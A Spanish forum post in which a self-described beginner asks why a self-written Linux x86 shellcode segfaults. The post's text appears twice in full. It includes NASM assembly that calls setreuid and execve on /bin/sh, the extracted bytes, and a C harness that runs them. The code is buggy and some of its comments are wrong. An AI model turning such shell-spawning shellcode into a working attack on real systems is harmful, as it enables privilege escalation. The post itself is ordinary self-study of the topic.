Hola, ¿Cómo están?
Bueno como pueden ver soy nuevo en el foro, y quería saber si alguien me puede ayudar con una shellcode que estoy haciendo para mi propio conocimiento, he leído ya los manuales de ASM y de Shellcodes, obviamente hay shellcodes de ejemplo que ya he hecho, pero estoy intentando hacer una por cuenta propia para saber si en verdad he entendido los manuales, pero me ha ocurrido un problema, hago mi código en ensamblador, lo compilo y todo bien, lo enlazo, me voy al objdump saco el shellcode, y lo coloco en mi programa en C, pero cuando lo ejecuto me dice:
Shellcode Length: 37
Violación de segmento (`core' generado)
colocare aquí mi código en NASM, creo que el error esta allí, y creo que tiene algo que ver con las direcciones a las cuales estoy enviando los registros, pero de verdad tengo muchas dudas, si alguien me puede ayudar se lo agradecería mucho.
section .data
shell: db "/bin/shNAAAABBBB"
section .bss
section .text
global _start:
_start:
push ebp ;Creo mi stack
mov ebp, esp
mov eax, eax
mov al, 70 ;Llamada a la interrucion 70 setreuid
xor ebx, ebx ;lo vuelvo null
xor ecx, ecx ;lo vuelvo null
int 80h ;llamada al Kernel
xor eax, eax ;lo vuelvo null
mov ebx, shell ;envio a ebx el valor de shell '/bin/shNAAAABBBB'
mov [ebx+7], al ;sustituyo a la N con el caracter de terminacion \0
mov [ebx+8], ebx ;sustituyo a la AAAA con Null
mov [ebx+12], eax ;sustituyo a la BBBB con Null
mov al, 11 ;Llamada a la interrucion 11 execve
int 80h ;llamada al Kernel
mov esp, ebp ;destruyo el stack
pop ebp
ret
Esto es Shellcoding para Linux no para Windows pero se que cualquiera se daría cuenta al ver el código NASM, ahora coloco mi codigo en C con la Shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] = "\x55\x89\xe5\x89\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\xbb\xa8\x90\x04\x08\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\xcd\x80\x89\xec\x5d\xc3";
main(){
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compilo mi código en C y lo ejecuto, y me da el error que le dije al principio:
Shellcode Length: 37
Violación de segmento (`core' generado)
Espero alguien me pueda guiar de verdad les agradecería no postear código ya que sentiría como si me hicieran un spoiler xD, si me pueden guiar y explicar sería mejor para mi, muchas gracias a todos.
Bueno como pueden ver soy nuevo en el foro, y quería saber si alguien me puede ayudar con una shellcode que estoy haciendo para mi propio conocimiento, he leído ya los manuales de ASM y de Shellcodes, obviamente hay shellcodes de ejemplo que ya he hecho, pero estoy intentando hacer una por cuenta propia para saber si en verdad he entendido los manuales, pero me ha ocurrido un problema, hago mi código en ensamblador, lo compilo y todo bien, lo enlazo, me voy al objdump saco el shellcode, y lo coloco en mi programa en C, pero cuando lo ejecuto me dice:
Shellcode Length: 37
Violación de segmento (`core' generado)
colocare aquí mi código en NASM, creo que el error esta allí, y creo que tiene algo que ver con las direcciones a las cuales estoy enviando los registros, pero de verdad tengo muchas dudas, si alguien me puede ayudar se lo agradecería mucho.
section .data
shell: db "/bin/shNAAAABBBB"
section .bss
section .text
global _start:
_start:
push ebp ;Creo mi stack
mov ebp, esp
mov eax, eax
mov al, 70 ;Llamada a la interrucion 70 setreuid
xor ebx, ebx ;lo vuelvo null
xor ecx, ecx ;lo vuelvo null
int 80h ;llamada al Kernel
xor eax, eax ;lo vuelvo null
mov ebx, shell ;envio a ebx el valor de shell '/bin/shNAAAABBBB'
mov [ebx+7], al ;sustituyo a la N con el caracter de terminacion \0
mov [ebx+8], ebx ;sustituyo a la AAAA con Null
mov [ebx+12], eax ;sustituyo a la BBBB con Null
mov al, 11 ;Llamada a la interrucion 11 execve
int 80h ;llamada al Kernel
mov esp, ebp ;destruyo el stack
pop ebp
ret
Esto es Shellcoding para Linux no para Windows pero se que cualquiera se daría cuenta al ver el código NASM, ahora coloco mi codigo en C con la Shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] = "\x55\x89\xe5\x89\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\xbb\xa8\x90\x04\x08\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\xcd\x80\x89\xec\x5d\xc3";
main(){
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compilo mi código en C y lo ejecuto, y me da el error que le dije al principio:
Shellcode Length: 37
Violación de segmento (`core' generado)
Espero alguien me pueda guiar de verdad les agradecería no postear código ya que sentiría como si me hicieran un spoiler xD, si me pueden guiar y explicar sería mejor para mi, muchas gracias a todos.